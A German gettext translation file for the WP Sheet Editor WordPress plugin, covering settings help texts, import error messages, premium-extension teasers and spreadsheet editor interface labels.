"" "If you enable this option, we will simplify the spreadsheet options and " "remove advanced examples, tips, and options rarely used in the search tool, " "bulk edit tool, import tool, export tool, and other places." msgstr "" "Wenn du diese Option aktivierst, vereinfachen wir die Arbeitsblattoptionen " "und entfernen erweiterte Beispiele, Tipps und Optionen, die im Suchtool, " "Massenbearbeitungstool, Importtool, Exporttool und an anderen Stellen selten " "verwendet werden." #: wp-sheet-editor/dev/inc/options-init.php:202 msgid "Disable the automatic formatting detection?" msgstr "Automatische Formatierungserkennung deaktivieren?" #: wp-sheet-editor/dev/inc/options-init.php:203 msgid "" "If you enable this option, some columns will appear as text. Normally we " "detect the date fields, image fields." msgstr "" "Wenn du diese Option aktivierst, werden einige Spalten als Text angezeigt. " "Normalerweise erkennen wir Datumsfelder, Bildfelder." #: wp-sheet-editor/dev/inc/options-init.php:209 msgid "Disable cells lazy loading?" msgstr "Verzögertes Laden der Zellen deaktivieren?" #: wp-sheet-editor/dev/inc/options-init.php:210 msgid "" "The spreadsheet loads only the \"visible rows\" for performance reasons, so " "when you scroll up or down the rows are loaded dynamically. This way you can " "\"open\" thousands of posts in the spreadshet and it will work fast. " "However, if you want to use the browser search to find a specific cell, you " "need to disable the lazy loading in order to load all the rows at once and " "the browser will be able to find the cells. The browser search doesn't work " "by default because only the \"visible rows\" are actually created." msgstr "" "Aus Leistungsgründen lädt das Arbeitsblatt nur die \"sichtbaren Zeilen\", so " "dass beim Scrollen nach oben oder unten die Zeilen dynamisch geladen werden. " "Auf diese Weise kannst du Tausende von Beiträgen im Arbeitsblatt \"öffnen\", " "und es funktioniert schnell. Wenn du jedoch die Browsersuche benutzen " "willst, um eine bestimmte Zelle zu finden, musst du das verzögerte Laden " "deaktivieren, damit alle Zeilen auf einmal geladen werden und der Browser " "die Zellen finden kann. Die Browsersuche funktioniert nicht standardmäßig, " "weil nur die \"sichtbaren Zeilen\" tatsächlich erzeugt werden." #: wp-sheet-editor/dev/inc/options-init.php:216 msgid "Disable usage stats widget?" msgstr "Nutzungsstatistik-Widget deaktivieren?" #: wp-sheet-editor/dev/inc/options-init.php:217 msgid "" "If you enable this option, the usage stats widget shown in the wp-admin " "dashboard will be removed." msgstr "" "Wenn du diese Option aktivierst, wird das Nutzungsstatistik-Widget, das im " "WP-Admin-Dashboard angezeigt wird, entfernt." #: wp-sheet-editor/dev/inc/options-init.php:223 msgid "Disable serialized columns support?" msgstr "Unterstützung für serialisierte Spalten deaktivieren?" #: wp-sheet-editor/dev/inc/options-init.php:224 msgid "" "The spreadsheet automatically generates columns for serialized fields, but " "this can use a lot of CPU cycles depending on the number of serialized " "fields. You can disable this feature if the sheet is too slow to load or you " "get errors when loading the rows or you dont want to see columns with prefix " "\"SEIS\"." msgstr "" "Das Arbeitsblatt generiert automatisch Spalten für serialisierte Felder, was " "jedoch je nach Anzahl der serialisierten Felder viele CPU-Zyklen in Anspruch " "nehmen kann. Du kannst diese Funktion deaktivieren, wenn das Blatt zu " "langsam geladen wird, wenn du Fehler beim Laden der Zeilen erhalten oder " "wenn du keine Spalten mit dem Präfix \"SEIS\" sehen möchtest." #: wp-sheet-editor/dev/inc/options-init.php:230 msgid "Disable the heartbeat api in the spreadsheet?" msgstr "Die Heartbeat API für das Arbeitsblatt deaktivieren?" #: wp-sheet-editor/dev/inc/options-init.php:231 msgid "" "WordPress uses the heartbeat API to check the login status every few " "seconds. This can overload your server because it could make hundreds of " "requests when you are editing in the spreadsheet. You can disable it to " "reduce the stress on your server while editing in the sheet. However, if you " "keep the spreadsheet opened over multiple days your login session can expire " "and you wont be notified if you disable the heartbeat and this can cause " "issues while saving. So use this option only when you use the spreadsheet " "for a few hours only." msgstr "" "WordPress verwendet die Heartbeat API, um den Anmeldestatus alle paar " "Sekunden zu überprüfen. Dies kann deinen Server überlasten, weil er Hunderte " "von Anfragen stellen kann, wenn du im Arbeitsblatt arbeitest. Du kannst dies " "deaktivieren, um die Belastung deines Servers während der Bearbeitung des " "Arbeitsblatts zu verringern. Wenn du das Arbeitsblatt jedoch über mehrere " "Tage geöffnet lässt, kann deine Anmeldesitzung ablaufen und du würdest " "darüber nicht benachrichtigt, wenn du den Heartbeat deaktivierst. Dies kann " "zu Problemen beim Speichern führen. Verwende diese Option also nur, wenn du " "das Arbeitsblatt nur einige Stunden lang verwendest." #: wp-sheet-editor/dev/inc/options-init.php:237 msgid "Deactivate everything. Use the REST API only" msgstr "Alles deaktivieren. Nur die REST-API verwenden" #: wp-sheet-editor/dev/inc/options-init.php:238 msgid "" "If you activate this option we will deactivate all the spreadsheets, " "settings pages, and the entire plugin will become invisible to the user. " "Only the REST API will remain active. This is useful for advanced scenarios " "when you only use our REST API to keep websites synchronized with external " "spreadsheets or systems. When this option is active, our settings page will " "moved under the general settings menu because our sheet editor menu will be " "removed" msgstr "" "Wenn du diese Option aktivierst, werden alle Arbeitsblätter und " "Einstellungsseiten deaktiviert, und das gesamte Plugin wird für den Benutzer " "unsichtbar. Nur die REST-API bleibt aktiv. Dies ist nützlich für " "fortgeschrittene Szenarien, wenn du nur unsere REST-API verwendest, um " "Websites mit externen Tabellen oder Systemen synchronisiert zu halten. Wenn " "diese Option aktiv ist, wird unsere Einstellungsseite unter das allgemeine " "Einstellungsmenü verschoben, weil unser Tabelleneditor-Menü entfernt wird" #: wp-sheet-editor/dev/inc/options-init.php:245 msgid "User roles that can use the spreadsheet editor" msgstr "Benutzerrollen, die den Tabelleneditor verwenden können" #: wp-sheet-editor/dev/inc/options-init.php:246 msgid "The plugin will not initialize for the user roles not selected here." msgstr "" "Das Plugin wird für die hier nicht ausgewählten Benutzerrollen nicht " "initialisiert." #: wp-sheet-editor/dev/inc/options-init.php:252 msgid "Enable the fancy taxonomy terms selector" msgstr "Den Selektor für ausgefallene Taxonomiebegriffe aktivieren" #: wp-sheet-editor/dev/inc/options-init.php:253 msgid "" "The taxonomy columns (i.e. categories, tags) use a limited dropdown by " "default for selecting one term only and the column can be copy pasted. We " "have a fancy dropdown selector, which has better auto complete, allows " "selecting multiple options, etc. but it uses more server resources and it " "doesn't allow copy pasting in these cells. You can activate it here if you " "prefer a better dropdown over the ability to copy paste." msgstr "" "Die Taxonomie-Spalten (d.h. Kategorien, Tags) verwenden standardmäßig eine " "eingeschränkte Dropdown-Liste zur Auswahl nur eines Begriffs, und die Spalte " "kann durch Copy&Paste eingefügt werden. Wir haben einen netten Dropdown-" "Selektor, der eine bessere Autovervollständigung hat, die Auswahl mehrerer " "Optionen erlaubt usw., aber er verbraucht mehr Server-Ressourcen und erlaubt " "kein Copy&Paste in diese Zellen. Du kannst ihn hier aktivieren, wenn du ein " "besseres Dropdown-Menü der Möglichkeit zum Kopieren und Einfügen vorziehst." #: wp-sheet-editor/dev/inc/options-init.php:259 msgid "Enable the REST API" msgstr "REST-API aktivieren" #: wp-sheet-editor/dev/inc/options-init.php:260 msgid "" "The REST API can be used for interacting with our spreadsheet from external " "apps." msgstr "" "Die REST-API kann für die Interaktion mit unserem Arbeitsblatt von externen " "Anwendungen aus verwendet werden." #: wp-sheet-editor/dev/inc/options-init.php:266 msgid "Show all the custom post statuses?" msgstr "Alle benutzerdefinierten Beitragsstatus anzeigen?" #: wp-sheet-editor/dev/inc/options-init.php:267 msgid "" "By default we show the CORE statuses: published, draft, private, scheduled, " "trash. However, some plugins register custom statuses: job managers, " "woocommerce. Enable this option to show all the custom statuses in the " "\"status\" column. CAREFUL. We will show all the statuses from all the post " "types in the dropdown because it is impossible to know the post type of each " "status to we can not separate them. Do this only if you are a developer." msgstr "" "Standardmäßig zeigen wir die KERN-Zustände an: veröffentlicht, Entwurf, " "privat, geplant, Papierkorb. Einige Plugins speichern jedoch " "benutzerdefinierte Zustände: Job-Manager, Woocommerce. Aktiviere diese " "Option, um alle benutzerdefinierten Zustände in der Spalte \"Status\" " "anzuzeigen. AUFPASSEN. Wir zeigen in der Dropdown-Liste alle Zustände aller " "Beitragstypen an, weil es unmöglich ist, den Beitragstyp jedes Zustands zu " "kennen, deshalb können wir sie nicht unterscheiden. Tu dies nur, wenn du ein " "Entwickler bist." #: wp-sheet-editor/dev/inc/options-init.php:273 msgid "Remove help messages from the cells?" msgstr "Hilfemeldungen aus den Zellen entfernen?" #: wp-sheet-editor/dev/inc/options-init.php:274 msgid "" "By default we show comments in some columns indicating the value format or " "why they are locked. for example, the category column shows a tip indicating " "to separate terms with a comma and how to add child categories, variation " "columns have a tip indicating why they are locked for parent products. You " "can activate this option to disable those tips." msgstr "" "Standardmäßig zeigen wir in einigen Spalten Kommentare an, die das Format " "eines Wertes oder den Grund angeben, warum sie gesperrt sind. Beispielsweise " "zeigt die Kategorie-Spalte einen Hinweis, dass Begriffe durch Kommata " "getrennt werden sollen, und wie untergeordnete Kategorien hinzugefügt werden " "können; Spalten für Varianten haben einen Hinweis, der anzeigt, warum sie " "für übergeordnete Produkte gesperrt sind. Du kannst diese Option aktivieren, " "um die Hinweise zu deaktivieren." #: wp-sheet-editor/dev/inc/options-init.php:280 msgid "Manage taxonomy column values as term ids?" msgstr "Taxonomie-Spaltenwerte als Begriffs-IDs verwalten?" #: wp-sheet-editor/dev/inc/options-init.php:281 msgid "" "By default we show the categories as names separated by commas. Activate " "this option to display and save term ids separated by commas." msgstr "" "Standardmäßig zeigen wir die Kategorien als durch Kommata getrennte Namen " "an. Aktiviere diese Option, um Begriffs-IDs getrennt durch Kommata " "anzuzeigen und zu speichern." #: wp-sheet-editor/dev/inc/options-init.php:287 msgid "Do you want to deactivate columns for new fields found?" msgstr "Möchtest du Spalten für neu gefundene Felder deaktivieren?" #: wp-sheet-editor/dev/inc/options-init.php:288 msgid "" "By default we automatically show columns for all the new fields found, so " "everytime we detect new fields you can see them and edit right away. But " "this might \"break\" your column sorting or annoy you if you have enabled " "specific columns. Enable this option to generate those columns but leave " "them deactivated so you can enable them later." msgstr "" "Standardmäßig zeigen wir automatisch Spalten für alle neu gefundenen Felder " "an, so dass du jedes Mal, wenn wir neue Felder entdecken, diese sehen und " "sofort bearbeiten kannst. Aber dies könnte deine Spaltensortierung stören " "oder dich ärgern, wenn du bestimmte Spalten aktiviert hast. Aktiviere diese " "Option, um diese Spalten zu generieren, aber sie deaktiviert zu belassen, " "damit du sie später aktivieren kannst." #: wp-sheet-editor/dev/inc/options-init.php:295 msgid "Math formula roundup decimals" msgstr "Mathematische Formel Dezimalstellen aufrunden" #: wp-sheet-editor/dev/inc/options-init.php:296 msgid "" "We automatically round up to 2 decimals. You can enter any number here, for " "example, 1 to round to 1 decimal" msgstr "" "Wir runden automatisch auf 2 Dezimalstellen auf. Du kannst hier eine " "beliebige Zahl eingeben, z.B. 1, um auf 1 Dezimalstelle zu runden" #: wp-sheet-editor/dev/inc/options-init.php:302 msgid "Display raw value on select cells?" msgstr "Rohwert auf ausgewählten Zellen anzeigen?" #: wp-sheet-editor/dev/inc/options-init.php:303 msgid "" "By default, we show the label in the cell instead of the raw value. But you " "can enable this option to display the raw value in the cells." msgstr "" "Standardmäßig zeigen wir die Feldbezeichnung in der Zelle anstelle des " "Rohwerts an. Du kannst diese Option jedoch aktivieren, um den Rohwert in den " "Zellen anzuzeigen." #: wp-sheet-editor/dev/inc/options-init.php:309 msgid "" "Delete user accounts in the entire network when deleting users in the " "spreadsheet?" msgstr "" "Benutzerkonten im gesamten Netzwerk löschen, wenn der Benutzer im " "Arbeitsblatt gelöscht wird?" #: wp-sheet-editor/dev/inc/options-init.php:310 msgid "" "When you use WordPress multisite and you delete a user in the users " "spreadsheet, by default we only remove the user from the current site but " "the user remains in the network. Activate this option if you want to delete " "the user account from the entire network" msgstr "" "Wenn du WordPress Multisite verwendest und einen Benutzer im " "Benutzerarbeitsblatt löschst, entfernen wir standardmäßig nur den Benutzer " "von der aktuellen Site, der Benutzer bleibt jedoch im Netzwerk. Aktiviere " "diese Option, wenn du das Benutzerkonto aus dem gesamten Netzwerk löschen " "möchtest" #: wp-sheet-editor/dev/inc/options-init.php:316 msgid "Disable the addition of file ID to the image URLs?" msgstr "Hinzufügen der Datei-ID zu den Bild-URLs deaktivieren?" #: wp-sheet-editor/dev/inc/options-init.php:317 msgid "" "By default, when you export the featured image column or gallery columns, we " "add the file ID to each image url so we can import them later faster. You " "can activate this option to not add the file id and the import will work " "fine later but it wont be as fast" msgstr "" "Standardmäßig fügen wir die Datei-ID zu jeder Bild-URL hinzu, wenn du die " "Spalte mit den Beitragsbildern oder Galeriebildern exportierst, damit wir " "sie später schneller importieren können. Du kannst diese Option aktivieren, " "um die Datei-ID nicht hinzuzufügen; der Import wird später problemlos " "funktionieren, aber nicht so schnell sein" #: wp-sheet-editor/dev/inc/options-init.php:324 msgid "General settings" msgstr "Allgemeine Einstellungen" #: wp-sheet-editor/dev/inc/options-init.php:329 msgid "" "In this page you can quickly set up the spreadsheet editor. This all you " "need to use the editor. The settings on the other tabs are completely " "optional and allow you to tweak the performance of the editor among other " "things." msgstr "" "Auf dieser Seite kannst du den Tabelleneditor schnell einrichten. Dies ist " "alles, was du zur Benutzung des Editors benötigst. Die Einstellungen auf den " "anderen Registerkarten sind vollkommen optional und erlauben es dir unter " "anderem, die Leistung des Editors zu optimieren." #: wp-sheet-editor/dev/inc/options-init.php:334 msgid "Post Types" msgstr "Beitragstypen" #: wp-sheet-editor/dev/inc/options-init.php:335 msgid "On which post types do you want to enable the editor?" msgstr "Bei welchen Beitragsarten möchtest du den Editor aktivieren?" #: wp-sheet-editor/dev/inc/options-init.php:344 msgid "Misc" msgstr "Verschiedenes" #: wp-sheet-editor/dev/inc/options-init.php:350 msgid "Initial rows offset" msgstr "Anfängliches Zeilen-Offset" #: wp-sheet-editor/dev/inc/options-init.php:351 msgid "" "When you have 1000 posts , you might want to open the spreadsheet and start " "editing from post 200. This option lets you skip a lot of rows. IMPORTANT. " "We use the pagination, so we will display the page closest to that number. " "For example. If you load 10 rows per page and enter 1205 as offset, the " "sheet will start from page 120 (index 1200) because it is the page closest " "to the defined offset." msgstr "" "Wenn du 1000 Beiträge hast, möchtest du vielleicht das Arbeitsblatt öffnen " "und mit der Bearbeitung ab Beitrag 200 beginnen. Mit dieser Option kannst du " "viele Zeilen überspringen. WICHTIG. Wir verwenden die Seitennummerierung, d." "h. wir zeigen die Seite an, die dieser Zahl am nächsten liegt. Zum Beispiel. " "Wenn du 10 Zeilen je Seite lädst und 1205 als Offset eingibst, beginnt das " "Blatt bei Seite 120 (Index 1200), weil es die Seite ist, die dem definierten " "Offset am nächsten liegt." #: wp-sheet-editor/dev/inc/options-init.php:357 msgid "Delete the attached images when deleting a post?" msgstr "Beim Löschen eines Beitrags die angehängten Bilder löschen?" #: wp-sheet-editor/dev/inc/options-init.php:358 msgid "" "For example, when deleting a post completely (not moving to the trash), " "delete the featured image and product gallery images from the media library. " "CAREFUL.If you use the same images on multiple posts, it will break the " "images on other posts" msgstr "" "Wenn du zum Beispiel einen Beitrag vollständig löschst (nicht in den " "Papierkorb verschiebst), löschst du das Beitragsbild und die Galeriebilder " "aus der Medienbibliothek. SORGFALT: Wenn du dieselben Bilder in mehreren " "Beiträgen verwendest, werden die Bilder in anderen Beiträgen zerstört" #: wp-sheet-editor/dev/inc/options-init.php:367 msgid "Disable extension offerings?" msgstr "Erweiterungsangebote deaktivieren?" #: wp-sheet-editor/dev/inc/providers/post.php:385 msgid "" "Row ID: %d, Post type: %s does not exist in WordPress. Make sure your CSV " "uses the right name in the post type column." msgstr "" "Zeilen-ID: %d, Beitragsart: %s ist in WordPress nicht vorhanden. Stell " "sicher, dass dein CSV den richtigen Namen in der Spalte für den Beitragstyp " "verwendet." #: wp-sheet-editor/dev/inc/providers/post.php:392 msgid "" "Row ID: %d. You are trying to save an empty post type. Make sure your CSV " "uses the right name in the post type column." msgstr "" "Zeilen-ID: %d. Du versuchst, einen leeren Beitragstyp zu speichern. Stell " "sicher, dass dein CSV den richtigen Namen in der Spalte für den Beitragstyp " "verwendet." #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:39 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:54 msgid "Go Premium" msgstr "Hol dir Premium" #: wp-sheet-editor/dev/inc/teasers/coupons.php:33 msgid "WooCommerce Coupons" msgstr "WooCommerce-Gutscheine" #: wp-sheet-editor/dev/inc/teasers/coupons.php:51 msgid "" "Edit Coupons in a Spreadsheet.
                  Edit coupon codes, amounts, status, " "restrictions, and more. Make advanced searches. The spreadsheet is in sync " "with your site, no need to import/export. Download Plugin" msgstr "" "Gutscheine in einem Arbeitsblatt bearbeiten.
                  Bearbeiten von Gutschein-" "Codes, Beträgen, Status, Einschränkungen und mehr. Erweiterte Suchvorgänge " "durchführen. Das Arbeitsblatt ist mit deiner Website synchronisiert, du " "musst nichts importieren/exportieren. Plugin herunterladen" #: wp-sheet-editor/dev/inc/teasers/formulas.php:34 msgid "Apply changes in bulk" msgstr "Änderungen insgesamt anwenden" #: wp-sheet-editor/dev/inc/teasers/formulas.php:56 msgid "Bulk Update feature" msgstr "Massen-Update-Funktion" #: wp-sheet-editor/dev/inc/teasers/formulas.php:58 msgid "" "The \"bulk update\" feature allows you to update several posts at once
                  and you can do a lot of cool things, for example:" msgstr "" "Die Funktion \"Massenaktualisierung\" ermöglicht es dir, mehrere Beiträge " "auf einmal zu aktualisieren,
                  und du kannst viele coole Dinge tun, zum " "Beispiel:" #: wp-sheet-editor/dev/inc/teasers/formulas.php:61 msgid "Replace words or phrases in your posts titles, content, or other fields" msgstr "" "Wörter oder Ausdrücke im Titel, Inhalt oder anderen Feldern Ihrer Beiträge " "ersetzen" #: wp-sheet-editor/dev/inc/teasers/formulas.php:62 msgid "Increase or decrease products prices" msgstr "Preise für Produkte erhöhen oder verringern" #: wp-sheet-editor/dev/inc/teasers/formulas.php:63 msgid "Increase or decrease products stock" msgstr "Produktbestand erhöhen oder verringern" #: wp-sheet-editor/dev/inc/teasers/formulas.php:64 msgid "Move all your drafts to published posts or any other status" msgstr "" "Status aller Ihrer Entwürfe in veröffentlichte Beiträge oder einen anderen " "Status ändern" #: wp-sheet-editor/dev/inc/teasers/formulas.php:65 msgid "Set hundreds of products at once as out of stock or in stock" msgstr "" "Hunderte von Produkten auf einmal als vergriffen oder auf Lager kennzeichnen" #: wp-sheet-editor/dev/inc/teasers/formulas.php:66 msgid "" "Add call to actions or any text at the beginning or ending of your posts" msgstr "" "Füge am Anfang oder am Ende deiner Beiträge Aufrufe zu Aktionen oder " "beliebige Texte hinzu" #: wp-sheet-editor/dev/inc/teasers/formulas.php:67 msgid "Replace old shortcodes with new shortcodes in all your posts" msgstr "" "Alte Shortcodes in allen Ihren Beiträgen durch neue Shortcodes ersetzen" #: wp-sheet-editor/dev/inc/teasers/formulas.php:68 msgid "Set the same featured image in all the posts in a category" msgstr "Dasselbe Bild für alle Beiträge einer Kategorie festlegen" #: wp-sheet-editor/dev/inc/teasers/formulas.php:69 msgid "Move hundreds of posts to the trash" msgstr "Hunderte von Beiträgen in den Papierkorb verschieben" #: wp-sheet-editor/dev/inc/teasers/formulas.php:70 msgid "Etc." msgstr "Usw." #: wp-sheet-editor/dev/inc/teasers/formulas.php:72 msgid "" "Imagine being able to do all those changes to hundreds or thousands of posts " "at once in just a few minutes. The formulas feature is available as premium " "extension." msgstr "" "Stell dir vor, du könntest all diese Änderungen an Hunderten oder Tausenden " "von Beiträgen in nur wenigen Minuten auf einmal vornehmen. Die " "Formelfunktion ist als Premium-Erweiterung verfügbar." #: wp-sheet-editor/dev/inc/teasers/formulas.php:75 #: wp-sheet-editor/dev/inc/teasers/frontend.php:77 #: wp-sheet-editor/dev/inc/teasers/post-types.php:132 msgid "Buy extension now!" msgstr "Erweiterung jetzt kaufen!" #: wp-sheet-editor/dev/inc/teasers/frontend.php:33 msgid "Display spreadsheet editor on the frontend" msgstr "Tabelleneditor im Frontend anzeigen" #: wp-sheet-editor/dev/inc/teasers/frontend.php:58 msgid "" "We have an extension for displaying this spreadsheet on the frontend. You " "can select the columns to display, and select the spreadsheet tools for the " "frontend users (search, bulk, edit, import, export, etc.). For example:" msgstr "" "Wir haben eine Erweiterung für die Anzeige dieses Arbeitsblatts im Frontend. " "Du kannst die Spalten auswählen, die angezeigt werden sollen, und die " "Arbeitsblattwerkzeuge für die Frontend-Benutzer auswählen (Suche, Menge, " "Bearbeiten, Import, Export usw.). Zum Beispiel:" #: wp-sheet-editor/dev/inc/teasers/frontend.php:61 msgid "" "Allow your clients to edit WooCommerce Products using the spreadsheet " "without wp-admin" msgstr "" "Erlaube deinen Kunden, WooCommerce-Produkte mit Hilfe des Arbeitsblatts ohne " "WP-Admin zu bearbeiten" #: wp-sheet-editor/dev/inc/teasers/frontend.php:62 msgid "Allow your readers to submit blog posts using the spreadsheet" msgstr "" "Erlauben deinen Lesern, Blog-Beiträge mit Hilfe des Arbeitsblatts zu " "übermitteln" #: wp-sheet-editor/dev/inc/teasers/frontend.php:63 msgid "Allow your visitors to publish events" msgstr "Erlaube deinen Besuchern, Veranstaltungen zu veröffentlichen" #: wp-sheet-editor/dev/inc/teasers/frontend.php:64 msgid "Allow your store employees to manage stock and prices" msgstr "" "Ermögliche deinen Mitarbeitern die Verwaltung von Lagerbeständen und Preisen" #: wp-sheet-editor/dev/inc/teasers/frontend.php:65 msgid "Allow your marketplace sellers to import products on the frontend" msgstr "" "Erlaube deinen Marktplatz-Verkäufern, Produkte über das Frontend zu " "importieren" #: wp-sheet-editor/dev/inc/teasers/frontend.php:66 msgid "Allow your marketplace sellers to bulk edit their products" msgstr "" "Erlaube deinen Marktplatz-Verkäufern die Massenbearbeitung ihrer Produkte" #: wp-sheet-editor/dev/inc/teasers/frontend.php:67 msgid "Allow your store buyers to download the catalog" msgstr "Ermögliche deinen Kunden das Herunterladen des Katalogs" #: wp-sheet-editor/dev/inc/teasers/frontend.php:68 msgid "Allow your store customers to make advanced catalog searches " msgstr "Erlaube deinen Kunden, erweiterte Katalogsuchen durchzuführen " #: wp-sheet-editor/dev/inc/teasers/frontend.php:69 msgid "And more." msgstr "Und mehr." #: wp-sheet-editor/dev/inc/teasers/frontend.php:72 msgid "Demo video" msgstr "Demo-Video" #: wp-sheet-editor/dev/inc/teasers/frontend.php:74 msgid "" "All the features available in the backend spreadsheet can be used in the " "frontend spreadsheet." msgstr "" "Alle im Backend-Arbeitsblatt verfügbaren Funktionen können im Frontend-" "Arbeitsblatt verwendet werden." #: wp-sheet-editor/dev/inc/teasers/post-types.php:86 msgid "Edit WordPress %s" msgstr "WordPress bearbeiten %s" #: wp-sheet-editor/dev/inc/teasers/post-types.php:88 msgid "The spreadsheet editor can be used to edit your WordPress %s." msgstr "Mit dem Tabelleneditor kannst du dein WordPress %s bearbeiten." #: wp-sheet-editor/dev/inc/teasers/post-types.php:91 msgid "You can edit your Media information like:" msgstr "Du kannst deine Medieninformationen wie folgt bearbeiten:" #: wp-sheet-editor/dev/inc/teasers/post-types.php:94 msgid "Caption" msgstr "Untertitel" #: wp-sheet-editor/dev/inc/teasers/post-types.php:95 msgid "Alternative text" msgstr "Alternativtext" #: wp-sheet-editor/dev/inc/teasers/post-types.php:96 msgid "Description" msgstr "Beschreibung" #: wp-sheet-editor/dev/inc/teasers/post-types.php:98 msgid "Uploaded by user" msgstr "Hochgeladen vom Benutzer" #: wp-sheet-editor/dev/inc/teasers/post-types.php:100 msgid "Enable comments" msgstr "Kommentare aktivieren" #: wp-sheet-editor/dev/inc/teasers/post-types.php:101 msgid "And see previews while editing" msgstr "Und eine Vorschau während der Bearbeitung sehen" #: wp-sheet-editor/dev/inc/teasers/post-types.php:106 msgid "You can edit your WooCommerce products information like:" msgstr "Du kannst deine WooCommerce-Produktinformation wie folgt bearbeiten:" #: wp-sheet-editor/dev/inc/teasers/post-types.php:110 msgid "Full content" msgstr "Kompletter Inhalt" #: wp-sheet-editor/dev/inc/teasers/post-types.php:113 msgid "Sale price dates" msgstr "Zeitraum Sonderpreis" #: wp-sheet-editor/dev/inc/teasers/post-types.php:114 msgid "Featured image" msgstr "Beitragsbild" #: wp-sheet-editor/dev/inc/teasers/post-types.php:115 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:590 msgid "Gallery" msgstr "Galerie" #: wp-sheet-editor/dev/inc/teasers/post-types.php:117 msgid "Is Downloadable" msgstr "Ist herunterladbar" #: wp-sheet-editor/dev/inc/teasers/post-types.php:118 msgid "Is Virtual" msgstr "Virtuell" #: wp-sheet-editor/dev/inc/teasers/post-types.php:124 msgid "" "With our editor you will be able to edit all the information of
                  your %s " "saving you a lot of time." msgstr "" "Mit unserem Editor kannst du alle Informationen von
                  deinem %s " "bearbeiten, was dir viel Zeit erspart." #: wp-sheet-editor/dev/inc/teasers/post-types.php:128 msgid "This feature is available as premium extension." msgstr "Diese Funktion ist als Premium-Erweiterung verfügbar." #: wp-sheet-editor/dev/inc/teasers/terms.php:70 msgid "" "Tip from WP Sheet Editor: Edit thousands of categories at once, make " "advanced searches, view all the info in one page, and more." msgstr "" "Tipp von WP Sheet Editor: Bearbeite Tausende von Kategorien auf " "einmal, führe erweiterte Suchen durch, zeige alle Informationen auf einer " "Seite an, und mehr." #: wp-sheet-editor/dev/inc/teasers/terms.php:70 msgid "Edit in a Spreadsheet" msgstr "In einem Arbeitsblatt bearbeiten" #: wp-sheet-editor/dev/inc/teasers/upgrade-popup.php:64 msgid "" ". Upgrade: Export, import, edit in Excel or Google Sheets; bulk edit thousands of rows " "at once, edit all the fields from other plugins, and more. Upgrade and Save Days of Work" msgstr "" ". Upgrade: Export, Import, Bearbeitung in Excel oder Google Sheets; " "Massenbearbeitung von " "Tausenden von Zeilen auf einmal, Bearbeitung aller Felder aus anderen " "Plugins und mehr. Upgraden und tagelange Arbeit sparen" #: wp-sheet-editor/dev/inc/teasers/upgrade-popup.php:83 msgid "View Extensions" msgstr "Erweiterungen anzeigen" #: wp-sheet-editor/dev/inc/teasers/users.php:32 msgid "Users" msgstr "Benutzer" #: wp-sheet-editor/dev/inc/teasers/users.php:51 msgid "" "Tip from WP Sheet Editor: You can view all the users in a table, view " "thousands of full profiles, edit hundreds of users at once without crashing " "your server, view all shipping/billing/buddypress information. Make advanced " "searches, create hundreds of users, and more. Download Plugin" msgstr "" "Tipp von WP Sheet Editor: Du kannst alle Benutzer in einer Tabelle " "anzeigen, Tausende von vollständigen Profilen anzeigen, Hunderte von " "Benutzern auf einmal bearbeiten, ohne dass dein Server abstürzt, alle " "Versand-/Rechnungs-/BuddyPress-Informationen anzeigen. Führe erweiterte " "Suchvorgänge durch, erstelle Hunderte von Benutzern, und mehr. Plugin herunterladen" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:345 msgid "" ". Lite version. Showing all products and all fields as columns, 15 " "columns are editable and the rest are read only.
                  Upgrade: Edit in " "Excel/Google Sheets, export, import, bulk edit thousands of products at once." msgstr "" ". Lite-Version. Zeigt alle Produkte und alle Felder als Spalten an. " "15 Spalten sind editierbar, die restlichen sind schreibgeschützt. " "
                  Upgrade:
                  Bearbeitung in Excel/Google Sheets, Export, Import, " "Massenbearbeitung von Tausenden von Produkten auf einmal." #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:357 msgid "" "Tip from WP Sheet Editor: You can view and edit Product Variations in " "a spreadsheet, bulk edit, make advanced searches, edit hundreds of " "variations at once, copy variations to multiple products, etc. Download Plugin" msgstr "" "Tipp von WP Sheet Editor: Du kannst Produktvarianten in einem " "Arbeitsblatt anzeigen und bearbeiten, eine Massenbearbeitung durchführen, " "erweiterte Suchen durchführen, Hunderte von Varianten auf einmal bearbeiten, " "Varianten auf mehrere Produkte kopieren usw. Plugin herunterladen" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:455 msgid "Regular Price" msgstr "Regulärer Preis" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:469 msgid "Sale Price" msgstr "Sonderpreis" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:636 msgid "Sales price date from" msgstr "Sonderpreis-Datum von" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:648 msgid "Sales price date to" msgstr "Sonderpreis-Datum bis" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:675 msgid "is featured?" msgstr "empfohlen?" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:691 msgid "Allow backorders" msgstr "Lieferrückstand zulassen" # php source does not exist #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:866 msgid "" "Note: Separate values with the character %s
                  The product must be variable " "and have existing variations for this to work, otherwise the default " "attributes won't be saved." msgstr "" "Note: Separate values with the character %s
                  The product must be variable " "and have existing variations for this to work, otherwise the default " "attributes won't be saved." #: wp-sheet-editor/dev/views/editor-page.php:53 msgid "Full screen mode is active" msgstr "Vollbildmodus ist aktiv" #: wp-sheet-editor/dev/views/editor-page.php:54 msgid "Exit" msgstr "Verlassen" #: wp-sheet-editor/dev/views/editor-page.php:58 msgid "Activate full screen" msgstr "Vollbild aktivieren" #: wp-sheet-editor/dev/views/editor-page.php:98 msgid "Current spreadsheet: %s" msgstr "Aktuelles Arbeitsblatt: %s" #: wp-sheet-editor/dev/views/editor-page.php:98 msgid "0 rows" msgstr "0 Zeilen" #: wp-sheet-editor/dev/views/editor-page.php:107 msgid "" ". We recommend you increase the server memory to at least 256mb to prevent " "server errors. Tutorial" msgstr "" ". Wir empfehlen dir, den Serverspeicher auf mindestens 256 MB zu erhöhen, um " "Serverfehler zu vermeiden. Anleitung" #: wp-sheet-editor/dev/views/editor-page.php:111 msgid "Active filters:" msgstr "Aktive Filter:" #: wp-sheet-editor/dev/views/editor-page.php:124 #: wp-sheet-editor/dev/views/quick-setup.php:37 msgid "Welcome to WP Sheet Editor" msgstr 